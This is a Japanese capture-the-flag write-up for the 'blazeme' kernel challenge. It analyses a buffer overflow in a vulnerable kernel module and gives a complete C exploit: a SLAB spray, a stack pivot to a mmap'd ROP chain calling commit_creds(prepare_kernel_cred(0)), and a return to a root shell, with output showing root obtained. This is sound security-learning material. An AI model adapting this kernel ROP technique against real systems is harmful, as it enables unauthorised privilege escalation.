# 問題
```Kernel exploitation challenge!
ssh [email protected] password: guest
Download here (6 MB)
The flag in this archive is not the real flag. It's there to make you feel good when your exploit works locally.
Author: crixer```
# 実験環境```Ubuntu 16.04```※ 最初Ubuntu 18.10で実験したところ、gdbとqemuの切り替えがCtrl+Cでできなかった(原因は不明)。
# 調査## 表層解析配布されたファイルを解凍して中を見ると以下のファイルが入っている。- blazeme.c: 脆弱性の存在するLKMのソースコード- bzImage: boot、setup用のデータがカーネル本体(vmlinux)と一緒に圧縮されたもの- rootfs.ext2: 仮想環境のファイルシステム- run.sh: qemu起動用のスクリプト
run.shでqemuを起動し、blazeme(パスワードは"guest")でログインすることがわかる。qemuのプロセスは外部から次のコマンドで停止させた。(正しい停止の方法がわからなかった)
```shkill `ps -aux | grep qemu | grep -v grep | awk '{print $2}'````
### セキュリティ機構#### SMEP/SMAPrun.shでqemuを起動して調べると無効になっていることがわかる。
```$ cat /proc/cpuinfo |grep flagflags           : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 syscall nx lm nopl cpuid pni cx16 hypervisor lahf_lm svm 3dnowprefetch retpoline rsb_ctxsw vmmcall```
#### KASLRrun.shを読むとnokaslr(カーネル空間のランダマイズが無効)であることがわかる。
#### KADRカーネルのシンボルアドレスが塗りつぶされているのでKADRが有効であることがわかる。
```$ cat /proc/kallsyms          (null) A irq_stack_union          (null) A __per_cpu_start          (null) T startup_64...```
#### blazeme.koのセキュリティ機構canaryが無効になっているのでbuffer over flowでリターンアドレス書き換えが可能。```❯ /opt/checksec.sh/checksec -f blazeme.koRELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable  FILENo RELRO        No canary found   NX disabled   Not an ELF file   No RPATH   No RUNPATH   50 Symbols     No     0               1       blazeme.ko```
## 一時的にrootを取得問題を解く上で`commit_creds`, `prepare_kernel_cred`などのアドレスが欲しくなる。一時的にroot権限をとってメモしておく。今回はrootfs.ext2をホストマシンにマウントして中身を書き換えることができる。blazemeアカウントでログインした際にrootとしてログインするように`/etc/passwd`を以下のように変更する。
```sh❯ mount -t ext4 -o loop rootfs.ext2 /mnt❯ sudo vim /mnt/etc/passwd❯ sudo umount /mnt```
```blazeme:x:1000:1000:Linux User,,,:/home/blazeme:/bin/sh↓blazeme:x:0000:0000:Linux User,,,:/home/blazeme:/bin/sh```
この状態でログインするとKADRを無視できる。```# cat /proc/kallsyms |grep commit_credsffffffff81063960 T commit_creds# cat /proc/kallsyms |grep prepare_kernel_credffffffff81063b50 T prepare_kernel_cred```
## GDBでの解析今回はソースコードが配布されているのでGDBでの解析は行わなかったが、今後のために準備の方法を記しておく。
### vmlinuxの抽出vmlinuxはbzImageから[extract-vmlinux](https://github.com/torvalds/linux/blob/master/scripts/extract-vmlinux)を使って抽出する。
```❯ ./extract-vmlinux.sh bzImage > vmlinux```
### qemuとgdbの接続run.shにqemu引数として`-s`オプションを追記しておくと、`localhost:1234`からgdbでアタッチできるようになる。
### LKMのロードアドレスを確認LKMを動的にqemuを通して解析するときは、LKMがロードされたアドレスを知る必要がある。
上記の方法を用いて一時的にroot権限を得た状態で、LKMがロードされた場所を調べる。
```# cat /proc/modulesblazeme 16384 0 - Live 0xffffffffc0000000 (O)````0xffffffffc0000000`にblazeme.koがロードされたことがわかるので、gdbでそのアドレスをベースにしてシンボルを読み込める。
```gdbfile ./vmlinuxset arch i386:x86-64:intel #これがないとエラーが出る(Remote 'g' packet reply is too long:~)tar remote :1234add-symbol-file blazeme.ko 0xffffffffc0000000b *blazeme_write```
## ソース解析ありがたいことに今回はソースコードが配布されているので、脆弱性は簡単に見つかる。
LKMを自分で書いたことはないので、[ここ](http://shimada-k.hateblo.jp/entry/20110527/1306499679)を参考にソースを読んだ。
```cssize_t blazeme_write(struct file *file,						const char __user *buf,						size_t count, loff_t *ppos) {	char str[512] = "Hello ";
  ~~ 略 ~~
	kbuf = NULL;	kbuf = kmalloc(KBUF_LEN, GFP_KERNEL);
  ~~ 略 ~~ 	if (copy_from_user(kbuf, buf, count)) {		kfree(kbuf);		kbuf = NULL;		goto out;	}
	if (kbuf != NULL) {		strncat(str, kbuf, strlen(kbuf));		printk(KERN_INFO "%s", str);	}
  ~~ 略 ~~ }```
ユーザが`/dev/blazeme`に渡したデータをkbuf(kmalloc()で取得された、カーネル空間に存在するバッファ)にコピーされる。その後、kbufの情報がstrncat()でstrに追記される。
このとき、strに追記するデータの長さをstrlen(kbuf)で指定している。さらにkbufの解放(kfree()の実行)はcopy_from_user()の実行失敗時にしか行われない。よって、`/dev/blazeme`に書き込んだ内容はkbufとしてSLABに残り続ける。
この二点を踏まえて考えると、仮にユーザがnullを含まない64byteのデータを複数回`/dev/blazeme`に送り続けた場合、隣接するチャンク内のデータも含めて一つの長い文字列としてstrlen()を計算してしまい、buffer over flowを起こすことが可能になる。(kmalloc()で使用されるSLABアロケータのチャンクにはメタデータは存在しないので途中でnullが入ることは無い)
# 攻撃当初はSMEP/SMAPが無効であることからret2usrが使えると考えたが、`/dev/blazeme`に渡すpayloadにnullを含むことができない~~ため断念~~(ret2usr使えますね)。x64のユーザー空間のアドレスにはnullが混じるが、カーネル空間のアドレスは`0xffffffff80000000`からスタートするためnullは混じらない。よってkernel ROPを使うことにした。
`mmap()`を使ってユーザー空間(0x174000)にROP chainを含んだ偽装スタックを用意しておき、payloadに仕込んだstack pivot用のgadget`0xffffffff8109c604: mov esp, 0x1740000; ret;`を実行することでROPへと繋げる。
ropgadget検索にはrp++を使った。```sh❯ rp-lin-x64 --file=./vmlinux --rop=3 --unique  > rop❯ cat rop | grep "pop rdi ; ret"...```
また、攻撃用ファイルは`wget`コマンドでqemu内からダウンロードすることができた。共有ライブラリを静的リンクさせたバイナリでもダウンロードできた。
攻撃がセグフォで落ちたときは`dmesg`コマンドでレジスタの値等を調べることで簡易的にデバッグすることができる。
## exploit code```c// gcc -static -O2 -Wall  -masm=intel exp.c -o exp#include <stdio.h>#include <stdlib.h>#include <string.h>#include <fcntl.h>#include <sys/mman.h>
static void shell() {    printf("[*] get shell!\n");    system("/bin/sh");}
// /etc/passwdを書き換えることで取得した一時的なrootでcat /proc/kallsymsを確認unsigned long commit_creds = 0xffffffff81063960;unsigned long prepare_kernel_cred = 0xffffffff81063b50;
// rp++で見つけたrop gadgetunsigned long stack_pivot_gadget = 0xffffffff8109c604;unsigned long pop_rdi = 0xffffffff811664cc;unsigned long pop_rdx = 0xffffffff81148e10;unsigned long mov_rdi_rax_call_rdx = 0xffffffff81085026;unsigned long call_rdx = 0xffffffff81002277;unsigned long xor_rax = 0xffffffff811d20dd;
// ユーザーモードからカーネルモード切り替えのときに使用する値と関数unsigned long user_cs;unsigned long user_ss;unsigned long user_rflags;unsigned long shell_v = shell;
static void save_state() {    __asm__("mov %0, cs": "r=" (user_cs) : "r" (user_cs));    __asm__("mov %0, ss": "r=" (user_ss) : "r" (user_ss));    __asm__("pushfq");    __asm__("popq %0": "r=" (user_rflags) : "r" (user_rflags));}
static void restore_state() {    __asm__("swapgs");    __asm__("mov [rsp+0x20], %0": "r=" (user_ss) : "r" (user_ss));    __asm__("mov rax, 0x01740000"); // fake_stackの値を入れる    __asm__("mov [rsp+0x18], rax");    __asm__("mov [rsp+0x10], %0": "r=" (user_rflags) : "r" (user_rflags));    __asm__("mov [rsp+0x08], %0": "r=" (user_cs) : "r" (user_cs));    __asm__("mov [rsp+0x00], %0": "r=" (shell_v) : "r" (shell_v)); // ここでshellを起動する    __asm__("iretq");}
int main() {    int PAYLOAD_LEN = 64;    char payload[PAYLOAD_LEN];    unsigned long *fake_stack;
    // カーネルモードからユーザーモードに切り替えるときに必要なレジスタの値を保存しておく    save_state();
    // stack pivot用の偽stackの構築    fake_stack = mmap(0x01740000 - 0x1000, 0x1000000, PROT_READ|PROT_WRITE, 0x32 | MAP_POPULATE, -1, 0); // 確保されていない領域にアクセスして落ちることを防ぐために目的のアドレスより上に多めにとっておく    if (fake_stack == MAP_FAILED) {        printf("[!] mmap error\n");        exit(1);    }
    fake_stack += (0x1000 / sizeof(unsigned long)); // 調整    printf("[+] fake_stack: %p\n", fake_stack);    // commit_creds(prepare_kernel_cred(0));    *fake_stack ++= pop_rdi;    *fake_stack ++= 0;    *fake_stack ++= prepare_kernel_cred;    *fake_stack ++= pop_rdx;    *fake_stack ++= commit_creds + 6; // commit_creds()内の最初の2命令は余分なstack操作なのでスキップ    *fake_stack ++= mov_rdi_rax_call_rdx;    *fake_stack ++= xor_rax;    *fake_stack ++= restore_state; // ユーザーモードに切り替え
    // stack pivot用のpayload    memset(payload, 'A', 2);    int i;    for(i=0; i<8; i++) {        memcpy(payload + i*8 + 2, &stack_pivot_gadget, 8);    }    printf("[+] payload: %s\n", payload);    printf("[+] payload length: %d\n", strlen(payload));
    // SLAB Spray    int fd = open("/dev/blazeme", O_RDWR);
    if (fd == -1) {        puts("[!] Can't open /dev/blazeme");        exit(1);    }
    unsigned long counter = 1;
    while(1) {        if(counter % 100 == 0) {            printf("[+] %d\n", counter);        }
        write(fd, payload, PAYLOAD_LEN);        counter++;    }}```# 実行結果```sh$ cd /tmp$ wget 10.0.2.2:8000/expConnecting to 10.0.2.2:8000 (10.0.2.2:8000)exp                  100% |*******************************|   896k  0:00:00 ETA$ chmod +x ./exp$ iduid=1000(blazeme) gid=1000(blazeme) groups=1000(blazeme)$ ./exp[+] fake_stack: 0x1740000[+] payload: AA����������������������������������������[+] payload length: 70[*] get shell!$ iduid=0(root) gid=0(root)```
# 参考サイト- https://hama.hatenadiary.jp/entry/2018/12/01/000100- https://devcraft.io/2018/04/25/blazeme-blaze-ctf-2018.html- http://rkx1209.hatenablog.com/entry/2017/07/20/211945- https://cyseclabs.com/slides/smep_bypass.pdf- https://qiita.com/no1zy_sec/items/ddd71605f9a23d1c9899- https://hackmd.io/s/SkzwqTRAQ